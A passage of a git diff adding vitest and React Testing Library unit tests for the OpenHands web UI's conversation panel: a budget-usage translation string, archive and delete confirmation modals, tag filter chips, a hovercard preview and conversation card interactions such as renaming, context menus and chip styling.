+    expect(FORMAT).not.toContain("${");
+  });
+
+  it("interpolates every named parameter the consumer passes", () => {
+    for (const param of Object.keys(CONSUMER_PARAMS)) {
+      expect(FORMAT).toContain(`{{${param}}}`);
+    }
+  });
+
+  it("renders a fully substituted usage line with i18next", () => {
+    // Drive a real i18next instance with the actual en resource to prove the
+    // template interpolates end-to-end (the app's interpolation config matches:
+    // default delimiters, escapeValue false).
+    const instance = i18next.createInstance();
+    instance.init({
+      lng: "en",
+      resources: { en: { openhands: translationResources.en } },
+      ns: ["openhands"],
+      defaultNS: "openhands",
+      interpolation: { escapeValue: false },
+    });
+
+    const rendered = instance.t(
+      "CONVERSATION$BUDGET_USAGE_FORMAT",
+      CONSUMER_PARAMS,
+    ) as string;
+
+    expect(rendered).toBe("$0.1234 / $5.0000 (2.47% used)");
+    expect(rendered).not.toContain("${");
+    expect(rendered).not.toContain("{{");
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/confirm-archive-modal.test.tsx b/__tests__/components/features/conversation-panel/confirm-archive-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5ba14f6a60ec2d8263fcccffac871454424ae805
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/confirm-archive-modal.test.tsx
@@ -0,0 +1,55 @@
+import React from "react";
+import { describe, it, expect, vi } from "vitest";
+import { screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import { ConfirmArchiveModal } from "#/components/features/conversation-panel/confirm-archive-modal";
+
+vi.mock("react-i18next", async (importOriginal) => ({
+  ...(await importOriginal<typeof import("react-i18next")>()),
+  Trans: ({
+    values,
+    components,
+  }: {
+    values: { title: string };
+    components: { title: React.ReactElement };
+  }) => React.cloneElement(components.title, {}, values.title),
+}));
+
+describe("ConfirmArchiveModal", () => {
+  it("should display the conversation title in the warning", () => {
+    renderWithProviders(
+      <ConfirmArchiveModal
+        onConfirm={vi.fn()}
+        onCancel={vi.fn()}
+        conversationTitle="My Test Conversation"
+      />,
+    );
+
+    expect(screen.getByText(/My Test Conversation/)).toBeInTheDocument();
+  });
+
+  it("falls back to the default warning when no title is provided", () => {
+    renderWithProviders(
+      <ConfirmArchiveModal onConfirm={vi.fn()} onCancel={vi.fn()} />,
+    );
+
+    expect(
+      screen.getByText("CONVERSATION$ARCHIVE_WARNING"),
+    ).toBeInTheDocument();
+  });
+
+  it("places Cancel before Confirm in the footer", () => {
+    renderWithProviders(
+      <ConfirmArchiveModal onConfirm={vi.fn()} onCancel={vi.fn()} />,
+    );
+
+    const cancel = screen.getByText("BUTTON$CANCEL");
+    const confirm = screen.getByText("ACTION$CONFIRM_ARCHIVE");
+
+    // eslint-disable-next-line no-bitwise
+    expect(
+      cancel.compareDocumentPosition(confirm) &
+        Node.DOCUMENT_POSITION_FOLLOWING,
+    ).toBeTruthy();
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/confirm-delete-modal.test.tsx b/__tests__/components/features/conversation-panel/confirm-delete-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..bcd148c8ee785219cc1ac5d7c447a6c5a987694e
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/confirm-delete-modal.test.tsx
@@ -0,0 +1,62 @@
+import React from "react";
+import { describe, it, expect, vi } from "vitest";
+import { screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import { ConfirmDeleteModal } from "#/components/features/conversation-panel/confirm-delete-modal";
+
+vi.mock("react-i18next", async (importOriginal) => ({
+  ...(await importOriginal<typeof import("react-i18next")>()),
+  Trans: ({
+    values,
+    components,
+  }: {
+    values: { title: string };
+    components: { title: React.ReactElement };
+  }) => React.cloneElement(components.title, {}, values.title),
+}));
+
+describe("ConfirmDeleteModal", () => {
+  it("should display the conversation title", () => {
+    renderWithProviders(
+      <ConfirmDeleteModal
+        onConfirm={vi.fn()}
+        onCancel={vi.fn()}
+        conversationTitle="My Test Conversation"
+      />,
+    );
+
+    expect(screen.getByText(/My Test Conversation/)).toBeInTheDocument();
+  });
+
+  it("falls back to the default warning when description is null", () => {
+    renderWithProviders(
+      <ConfirmDeleteModal
+        onConfirm={vi.fn()}
+        onCancel={vi.fn()}
+        description={null}
+      />,
+    );
+
+    expect(
+      screen.getByText("CONVERSATION$DELETE_WARNING"),
+    ).toBeInTheDocument();
+  });
+
+  it("places Cancel before Confirm in the footer so the dominant action is the last focusable button", () => {
+    // Arrange: render the modal so both footer buttons are mounted.
+    renderWithProviders(
+      <ConfirmDeleteModal onConfirm={vi.fn()} onCancel={vi.fn()} />,
+    );
+
+    // Act: locate both footer buttons.
+    const cancel = screen.getByText("BUTTON$CANCEL");
+    const confirm = screen.getByText("ACTION$CONFIRM_DELETE");
+
+    // Assert: Cancel precedes the dominant Confirm action in DOM order.
+    // eslint-disable-next-line no-bitwise
+    expect(
+      cancel.compareDocumentPosition(confirm) &
+        Node.DOCUMENT_POSITION_FOLLOWING,
+    ).toBeTruthy();
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-active-tag-filters.test.tsx b/__tests__/components/features/conversation-panel/conversation-active-tag-filters.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..60e030b46600b971abf02ec10d1c59c574c63c32
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-active-tag-filters.test.tsx
@@ -0,0 +1,120 @@
+import { describe, it, expect, vi } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { ConversationActiveTagFilters } from "#/components/features/conversation-panel/conversation-active-tag-filters";
+import { UNNAMED_AUTOMATION_FACET } from "#/components/features/conversation-panel/conversation-panel-list-helpers";
+
+const renderStrip = (
+  props: Partial<
+    React.ComponentProps<typeof ConversationActiveTagFilters>
+  > = {},
+) =>
+  renderWithProviders(
+    <ConversationActiveTagFilters
+      selectedFacets={[]}
+      onToggleFacet={vi.fn()}
+      selectedAutomationNames={[]}
+      onToggleAutomationName={vi.fn()}
+      onClearAll={vi.fn()}
+      {...props}
+    />,
+  );
+
+describe("ConversationActiveTagFilters", () => {
+  it("renders nothing when no filter is active", () => {
+    renderStrip();
+
+    expect(
+      screen.queryByTestId("conversation-active-tag-filters"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("names every active facet so a narrowed list is never unexplained", () => {
+    renderStrip({ selectedFacets: ["project=vault", "work"] });
+
+    expect(
+      screen.getByTestId("conversation-active-tag-filters"),
+    ).toBeInTheDocument();
+    // Keyed and bare tags both read the way the facet rows label them.
+    expect(
+      screen.getByTestId("active-tag-filter-project=vault"),
+    ).toHaveTextContent("project=vault");
+    expect(screen.getByTestId("active-tag-filter-work")).toHaveTextContent(
+      "work",
+    );
+  });
+
+  it("drops a single filter from the strip itself", async () => {
+    const user = userEvent.setup();
+    const onToggleFacet = vi.fn();
+    renderStrip({ selectedFacets: ["project=vault", "work"], onToggleFacet });
+
+    await user.click(screen.getByTestId("active-tag-filter-project=vault"));
+
+    expect(onToggleFacet).toHaveBeenCalledWith("project=vault");
+  });
+
+  it("clears every filter at once", async () => {
+    const user = userEvent.setup();
+    const onClearAll = vi.fn();
+    renderStrip({ selectedFacets: ["project=vault"], onClearAll });
+
+    await user.click(screen.getByTestId("clear-tag-filters"));
+
+    expect(onClearAll).toHaveBeenCalledTimes(1);
+  });
+
+  it("names an active automation-name filter too, so it is never the invisible narrowing", () => {
+    // The automation-name selection is persisted and its rows live inside the
+    // advanced-options modal; without a chip here a reload silently hides
+    // conversations with nothing on screen to say why.
+    renderStrip({ selectedAutomationNames: ["Nightly Audit"] });
+
+    expect(
+      screen.getByTestId("conversation-active-tag-filters"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("active-automation-filter-Nightly Audit"),
+    ).toHaveTextContent("Nightly Audit");
+  });
+
+  it("labels the unnamed-automation bucket rather than leaking its sentinel", () => {
+    renderStrip({ selectedAutomationNames: [UNNAMED_AUTOMATION_FACET] });
+
+    expect(
+      screen.getByTestId(
+        `active-automation-filter-${UNNAMED_AUTOMATION_FACET}`,
+      ),
+    ).not.toHaveTextContent(UNNAMED_AUTOMATION_FACET);
+  });
+
+  it("drops a single automation-name filter from the strip", async () => {
+    const user = userEvent.setup();
+    const onToggleAutomationName = vi.fn();
+    renderStrip({
+      selectedAutomationNames: ["Nightly Audit"],
+      onToggleAutomationName,
+    });
+
+    await user.click(
+      screen.getByTestId("active-automation-filter-Nightly Audit"),
+    );
+
+    expect(onToggleAutomationName).toHaveBeenCalledWith("Nightly Audit");
+  });
+
+  it("shows both families side by side", () => {
+    renderStrip({
+      selectedFacets: ["project=vault"],
+      selectedAutomationNames: ["Nightly Audit"],
+    });
+
+    expect(
+      screen.getByTestId("active-tag-filter-project=vault"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("active-automation-filter-Nightly Audit"),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-card-preview.test.tsx b/__tests__/components/features/conversation-panel/conversation-card-preview.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..f6ece524cba075de72828fd04c3c753641c68122
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-card-preview.test.tsx
@@ -0,0 +1,147 @@
+import { describe, expect, it } from "vitest";
+import { screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import { ConversationCardPreview } from "#/components/features/conversation-panel/conversation-card/conversation-card-preview";
+
+const PREVIEW_TITLE = "Conversation 1";
+
+describe("ConversationCardPreview", () => {
+  it("renders free-form tags and skips reserved repo / branch / workspace keys", () => {
+    renderWithProviders(
+      <ConversationCardPreview
+        title={PREVIEW_TITLE}
+        selectedRepository={null}
+        tags={{
+          git_provider: "github",
+          repo_name: "org/repo",
+          selected_branch: "main",
+          archiveworkspacepath: "/workspace/project",
+          owner: "alice",
+          origin: "slack",
+        }}
+      />,
+    );
+
+    expect(screen.queryByTestId("conversation-card-tag-chip")).not.toBeInTheDocument();
+
+    const rows = screen.getAllByTestId("conversation-card-preview-tag-row");
+    expect(rows).toHaveLength(2);
+    expect(rows[0]).toHaveAttribute("data-tag-key", "origin");
+    expect(rows[0]).toHaveTextContent("slack");
+    expect(rows[1]).toHaveAttribute("data-tag-key", "owner");
+    expect(rows[1]).toHaveTextContent("alice");
+  });
+
+  it("still shows first-class repo / branch rows from selectedRepository", () => {
+    renderWithProviders(
+      <ConversationCardPreview
+        title={PREVIEW_TITLE}
+        selectedRepository={{
+          selected_repository: "org/repo",
+          selected_branch: "main",
+          git_provider: "github",
+        }}
+        tags={{
+          git_provider: "github",
+          repo_name: "org/repo",
+          selected_branch: "main",
+          owner: "alice",
+        }}
+      />,
+    );
+
+    expect(screen.getByText("org/repo")).toBeInTheDocument();
+    expect(screen.getByText("main")).toBeInTheDocument();
+    const rows = screen.getAllByTestId("conversation-card-preview-tag-row");
+    expect(rows).toHaveLength(1);
+    expect(rows[0]).toHaveAttribute("data-tag-key", "owner");
+  });
+
+  it("shows Directory from workspaceWorkingDir instead of a workspace tag", () => {
+    renderWithProviders(
+      <ConversationCardPreview
+        title={PREVIEW_TITLE}
+        selectedRepository={null}
+        workspaceWorkingDir="/workspace/project"
+        tags={{ archiveworkspacepath: "/workspace/project", owner: "alice" }}
+      />,
+    );
+
+    expect(screen.getByText("/workspace/project")).toBeInTheDocument();
+    const rows = screen.getAllByTestId("conversation-card-preview-tag-row");
+    expect(rows).toHaveLength(1);
+    expect(rows[0]).toHaveAttribute("data-tag-key", "owner");
+  });
+
+  it("shows full tag values without truncation", () => {
+    const longValue = "a-very-long-custom-tag-value-that-exceeds-chip-budget";
+    renderWithProviders(
+      <ConversationCardPreview
+        title={PREVIEW_TITLE}
+        selectedRepository={null}
+        tags={{ custom_token: longValue }}
+      />,
+    );
+
+    expect(screen.getByTestId("conversation-card-preview-tag-row")).toHaveTextContent(
+      longValue,
+    );
+  });
+
+  it("styles the model row with the OpenHands brand icon", () => {
+    renderWithProviders(
+      <ConversationCardPreview
+        title={PREVIEW_TITLE}
+        selectedRepository={null}
+        llmModel="openhands/claude-opus-4-5-20251101"
+      />,
+    );
+
+    expect(
+      screen.getByTestId("conversation-card-preview-model"),
+    ).toHaveTextContent("openhands/claude-opus-4-5-20251101");
+    expect(
+      screen.getByTestId("agent-brand-icon-openhands"),
+    ).toBeInTheDocument();
+  });
+
+  it("uses the ACP provider mark on the model row for ACP conversations", () => {
+    // The card chip resolves the ACP brand mark; the hovercard for the same
+    // conversation must not contradict it with the OpenHands wordmark.
+    renderWithProviders(
+      <ConversationCardPreview
+        title={PREVIEW_TITLE}
+        selectedRepository={null}
+        llmModel="claude-opus-4-5"
+        agentKind="acp"
+        acpServer="claude-code"
+      />,
+    );
+
+    expect(
+      screen.getByTestId("agent-brand-icon-claude-code"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("agent-brand-icon-openhands"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows bare tags (empty value) with an em dash in the hovercard", () => {
+    renderWithProviders(
+      <ConversationCardPreview
+        title={PREVIEW_TITLE}
+        selectedRepository={null}
+        tags={{ appmode: "work", worktools: "", workwsid: "abc" }}
+      />,
+    );
+
+    const rows = screen.getAllByTestId("conversation-card-preview-tag-row");
+    expect(rows).toHaveLength(3);
+    expect(rows[0]).toHaveAttribute("data-tag-key", "appmode");
+    expect(rows[0]).toHaveTextContent("work");
+    expect(rows[1]).toHaveAttribute("data-tag-key", "worktools");
+    expect(rows[1]).toHaveTextContent("—");
+    expect(rows[2]).toHaveAttribute("data-tag-key", "workwsid");
+    expect(rows[2]).toHaveTextContent("abc");
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-card.test.tsx b/__tests__/components/features/conversation-panel/conversation-card.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..03e646bf91879ace6760e2dbd939956e27afdc88
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-card.test.tsx
@@ -0,0 +1,1214 @@
+import { screen, within } from "@testing-library/react";
+import {
+  afterAll,
+  afterEach,
+  beforeAll,
+  describe,
+  expect,
+  it,
+  test,
+  vi,
+} from "vitest";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { formatTimeDelta } from "#/utils/format-time-delta";
+import { ConversationCard } from "#/components/features/conversation-panel/conversation-card/conversation-card";
+import { clickOnEditButton } from "./utils";
+import { ConversationCardActions } from "#/components/features/conversation-panel/conversation-card/conversation-card-actions";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { useFreeModelsStore } from "#/stores/free-models-store";
+
+// We'll use the actual i18next implementation but override the translation function
+
+// Mock the t function to return our custom translations
+vi.mock("react-i18next", async () => {
+  const actual = await vi.importActual("react-i18next");
+  return {
+    ...actual,
+    useTranslation: () => ({
+      t: (key: string) => {
+        const translations: Record<string, string> = {
+          CONVERSATION$CREATED: "Created",
+          CONVERSATION$AGO: "ago",
+          CONVERSATION$UPDATED: "Updated",
+          COMMON$NO_REPOSITORY: "No repository",
+          CONVERSATION$ACP_AGENT_GENERIC: "ACP",
+          CONVERSATION_PANEL$PIN_CONVERSATION: "Pin conversation",
+          CONVERSATION_PANEL$UNPIN_CONVERSATION: "Unpin conversation",
+        };
+        return translations[key] || key;
+      },
+      i18n: {
+        changeLanguage: () => new Promise(() => {}),
+      },
+    }),
+  };
+});
+
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackDownloadVsCodeButtonClicked: vi.fn(),
+  }),
+}));
+
+describe("ConversationCard", () => {
+  const onClick = vi.fn();
+  const onDelete = vi.fn();
+  const onChangeTitle = vi.fn();
+
+  beforeAll(() => {
+    vi.stubGlobal("window", {
+      open: vi.fn(),
+      addEventListener: vi.fn(),
+      removeEventListener: vi.fn(),
+      location: { origin: "http://localhost:3000" },
+    });
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  afterAll(() => {
+    vi.unstubAllGlobals();
+  });
+
+  it("should render the conversation card", () => {
+    renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+      />,
+    );
+
+    const card = screen.getByTestId("conversation-card");
+
+    within(card).getByText("Conversation 1");
+
+    // Use a regex to match the time part since it might have whitespace
+    const timeRegex = new RegExp(
+      formatTimeDelta(new Date("2021-10-01T12:00:00Z")),
+    );
+    expect(card).toHaveTextContent(timeRegex);
+  });
+
+  it("should render the selectedRepository if available", () => {
+    const { rerender } = renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+      />,
+    );
+
+    expect(
+      screen.queryByTestId("conversation-card-selected-repository"),
+    ).not.toBeInTheDocument();
+
+    rerender(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={{
+          selected_repository: "org/selectedRepository",
+          selected_branch: "main",
+          git_provider: "github",
+        }}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+      />,
+    );
+
+    screen.getByTestId("conversation-card-selected-repository");
+  });
+
+  it("styles repo and branch with the same raised pill chip as tags", () => {
+    renderWithProviders(
+      <ConversationCard
+        title="Conversation 1"
+        selectedRepository={{
+          selected_repository: "org/repo",
+          selected_branch: "main",
+          git_provider: "github",
+        }}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        showTags
+        tags={{ origin: "slack" }}
+      />,
+    );
+
+    const repo = screen.getByTestId("conversation-card-selected-repository");
+    const branch = screen.getByTestId("conversation-card-selected-branch");
+    const tag = screen.getByTestId("conversation-card-tag-chip");
+
+    expect(repo).toHaveClass("bg-[var(--oh-surface-raised)]");
+    expect(branch).toHaveClass("bg-[var(--oh-surface-raised)]");
+    expect(tag).toHaveClass("bg-[var(--oh-surface-raised)]");
+
+    // Identical pill look. The one intentional difference is flex-shrink:
+    // repo and branch share a single overflow-hidden row, so they must shrink
+    // (otherwise a long repo name evicts the branch chip entirely), while a
+    // tag chip keeps its intrinsic width and folds behind "+N" instead.
+    const pillLook = (element: HTMLElement) =>
+      element.className
+        .split(/\s+/)
+        .filter((name) => name !== "shrink" && name !== "shrink-0")
+        .sort()
+        .join(" ");
+
+    expect(pillLook(repo)).toBe(pillLook(tag));
+    expect(pillLook(branch)).toBe(pillLook(tag));
+    expect(repo).toHaveClass("shrink");
+    expect(repo).not.toHaveClass("shrink-0");
+    expect(branch).toHaveClass("shrink");
+    expect(branch).not.toHaveClass("shrink-0");
+    expect(tag).toHaveClass("shrink-0");
+  });
+
+  it("stacks metadata as repo/branch, then model, then tags", () => {
+    renderWithProviders(
+      <ConversationCard
+        title="Conversation 1"
+        selectedRepository={{
+          selected_repository: "org/repo",
+          selected_branch: "main",
+          git_provider: "github",
+        }}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        llmModel="openhands/claude-opus-4-5-20251101"
+        showLlmProfiles
+        agentKind="openhands"
+        showTags
+        tags={{ origin: "slack" }}
+      />,
+    );
+
+    const repo = screen.getByTestId("conversation-card-selected-repository");
+    const model = screen.getByTestId("conversation-card-agent-chip");
+    const tags = screen.getByTestId("conversation-card-tag-chips");
+
+    expect(
+      repo.compareDocumentPosition(model) & Node.DOCUMENT_POSITION_FOLLOWING,
+    ).toBeTruthy();
+    expect(
+      model.compareDocumentPosition(tags) & Node.DOCUMENT_POSITION_FOLLOWING,
+    ).toBeTruthy();
+  });
+
+  it("renders the workspace folder name when no repository is selected", () => {
+    renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        workspaceWorkingDir="/workspace/project/agent-canvas"
+      />,
+    );
+
+    expect(screen.getByText("agent-canvas")).toBeInTheDocument();
+    expect(
+      screen.getByTitle("/workspace/project/agent-canvas"),
+    ).toBeInTheDocument();
+  });
+
+  it("styles the no-repository label with the same raised pill chip", () => {
+    renderWithProviders(
+      <ConversationCard
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        showTags
+        tags={{ origin: "slack" }}
+      />,
+    );
+
+    const noRepo = screen.getByTestId("conversation-card-no-repository");
+    const tag = screen.getByTestId("conversation-card-tag-chip");
+    expect(noRepo).toHaveTextContent("No repository");
+    expect(noRepo.className).toBe(tag.className);
+  });
+
+  it("handles Windows workspace paths and falls back when the path is empty", () => {
+    const { rerender } = renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        workspaceWorkingDir="C:\\Users\\me\\repo"
+      />,
+    );
+
+    expect(screen.getByText("repo")).toBeInTheDocument();
+
+    rerender(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        workspaceWorkingDir="   "
+      />,
+    );
+
+    expect(screen.getByText("No repository")).toBeInTheDocument();
+  });
+
+  it("should toggle a context menu when clicking the ellipsis button", async () => {
+    const user = userEvent.setup();
+    const onContextMenuToggle = vi.fn();
+    const { rerender } = renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        contextMenuOpen={false}
+        onContextMenuToggle={onContextMenuToggle}
+      />,
+    );
+
+    // The closed state is observable via the `data-context-menu-open` attr
+    // on the conversation-card root; visual hiding is a CSS consequence.
+    expect(screen.getByTestId("conversation-card")).toHaveAttribute(
+      "data-context-menu-open",
+      "false",
+    );
+
+    const ellipsisButton = screen.getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    expect(onContextMenuToggle).toHaveBeenCalledWith(true);
+
+    // Simulate context menu being opened by parent
+    rerender(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        contextMenuOpen
+        onContextMenuToggle={onContextMenuToggle}
+      />,
+    );
+
+    screen.getByTestId("context-menu");
+
+    await user.click(ellipsisButton);
+
+    expect(onContextMenuToggle).toHaveBeenCalledWith(false);
+  });
+
+  it("keeps the ellipsis clickable without hover via touch-first reveal classes", () => {
+    renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        contextMenuOpen={false}
+        onContextMenuToggle={vi.fn()}
+      />,
+    );
+
+    const ellipsisButton = screen.getByTestId("ellipsis-button");
+    const actionOverlay = ellipsisButton.parentElement;
+
+    expect(actionOverlay).toHaveClass("pointer-events-auto");
+    expect(actionOverlay?.className).toContain(
+      "[@media(hover:hover)_and_(pointer:fine)]:pointer-events-none",
+    );
+  });
+
+  it("closes the context menu when clicking outside", async () => {
+    const user = userEvent.setup();
+    const onContextMenuToggle = vi.fn();
+
+    renderWithProviders(
+      <div>
+        <div data-testid="outside">Outside</div>
+        <ConversationCard
+          onDelete={onDelete}
+          onChangeTitle={onChangeTitle}
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          contextMenuOpen
+          onContextMenuToggle={onContextMenuToggle}
+        />
+      </div>,
+    );
+
+    expect(screen.getByTestId("context-menu")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("outside"));
+
+    expect(onContextMenuToggle).toHaveBeenCalledWith(false);
+  });
+
+  it("should call onDelete when the delete button is clicked", async () => {
+    const user = userEvent.setup();
+    const onContextMenuToggle = vi.fn();
+    renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        contextMenuOpen
+        onContextMenuToggle={onContextMenuToggle}
+      />,
+    );
+
+    const menu = screen.getByTestId("context-menu");
+    const deleteButton = within(menu).getByTestId("delete-button");
+
+    await user.click(deleteButton);
+
+    expect(onDelete).toHaveBeenCalled();
+    expect(onContextMenuToggle).toHaveBeenCalledWith(false);
+  });
+
+  it("should call onArchive when the archive button is clicked", async () => {
+    const user = userEvent.setup();
+    const onArchive = vi.fn();
+    const onContextMenuToggle = vi.fn();
+    renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onArchive={onArchive}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        contextMenuOpen
+        onContextMenuToggle={onContextMenuToggle}
+      />,
+    );
+
+    const menu = screen.getByTestId("context-menu");
+    await user.click(within(menu).getByTestId("archive-button"));
+
+    expect(onArchive).toHaveBeenCalled();
+    expect(onContextMenuToggle).toHaveBeenCalledWith(false);
+  });
+
+  test("clicking the selectedRepository should not trigger the onClick handler", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={{
+          selected_repository: "org/selectedRepository",
+          selected_branch: "main",
+          git_provider: "github",
+        }}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+      />,
+    );
+
+    const selectedRepository = screen.getByTestId(
+      "conversation-card-selected-repository",
+    );
+    await user.click(selectedRepository);
+
+    expect(onClick).not.toHaveBeenCalled();
+  });
+
+  test("conversation title should call onChangeTitle when changed and blurred", async () => {
+    const user = userEvent.setup();
+    let menuOpen = true;
+    const onContextMenuToggle = vi.fn((isOpen: boolean) => {
+      menuOpen = isOpen;
+    });
+    const { rerender } = renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        onChangeTitle={onChangeTitle}
+        contextMenuOpen={menuOpen}
+        onContextMenuToggle={onContextMenuToggle}
+      />,
+    );
+
+    await clickOnEditButton(user);
+
+    // Re-render with updated state
+    rerender(
+      <ConversationCard
+        onDelete={onDelete}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        onChangeTitle={onChangeTitle}
+        contextMenuOpen={menuOpen}
+        onContextMenuToggle={onContextMenuToggle}
+      />,
+    );
+
+    const title = screen.getByTestId("conversation-card-title");
+
+    expect(title).toBeEnabled();
+    // Context menu should be closed after edit button is clicked.
+    expect(screen.getByTestId("conversation-card")).toHaveAttribute(
+      "data-context-menu-open",
+      "false",
+    );
+    // expect to be focused
+    expect(document.activeElement).toBe(title);
+
+    await user.clear(title);
+    await user.type(title, "New Conversation Name   ");
+    await user.tab();
+
+    expect(onChangeTitle).toHaveBeenCalledWith("New Conversation Name");
+  });
+
+  it("should not call onChange title", async () => {
+    const user = userEvent.setup();
+    const onContextMenuToggle = vi.fn();
+    renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        contextMenuOpen
+        onContextMenuToggle={onContextMenuToggle}
+      />,
+    );
+
+    await clickOnEditButton(user);
+
+    const title = screen.getByTestId("conversation-card-title");
+
+    await user.clear(title);
+    await user.tab();
+
+    expect(onChangeTitle).not.toBeCalled();
+  });
+
+  test("clicking the title should trigger the onClick handler", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(
+      <ConversationCard
+        onClick={onClick}
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+      />,
+    );
+
+    const title = screen.getByTestId("conversation-card-title");
+    await user.click(title);
+
+    expect(onClick).toHaveBeenCalled();
+  });
+
+  test("clicking the title should not trigger the onClick handler if edit mode", async () => {
+    const user = userEvent.setup();
+    const onContextMenuToggle = vi.fn();
+    renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        contextMenuOpen
+        onContextMenuToggle={onContextMenuToggle}
+      />,
+    );
+
+    await clickOnEditButton(user);
+
+    const title = screen.getByTestId("conversation-card-title");
+    await user.click(title);
+
+    expect(onClick).not.toHaveBeenCalled();
+  });
+
+  test("clicking the delete button should not trigger the onClick handler", async () => {
+    const user = userEvent.setup();
+    const onContextMenuToggle = vi.fn();
+    renderWithProviders(
+      <ConversationCard
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        contextMenuOpen
+        onContextMenuToggle={onContextMenuToggle}
+      />,
+    );
+
+    const menu = screen.getByTestId("context-menu");
+    const deleteButton = within(menu).getByTestId("delete-button");
+
+    await user.click(deleteButton);
+
+    expect(onClick).not.toHaveBeenCalled();
+  });
+
+  it("should not display the edit or delete options if the handler is not provided", async () => {
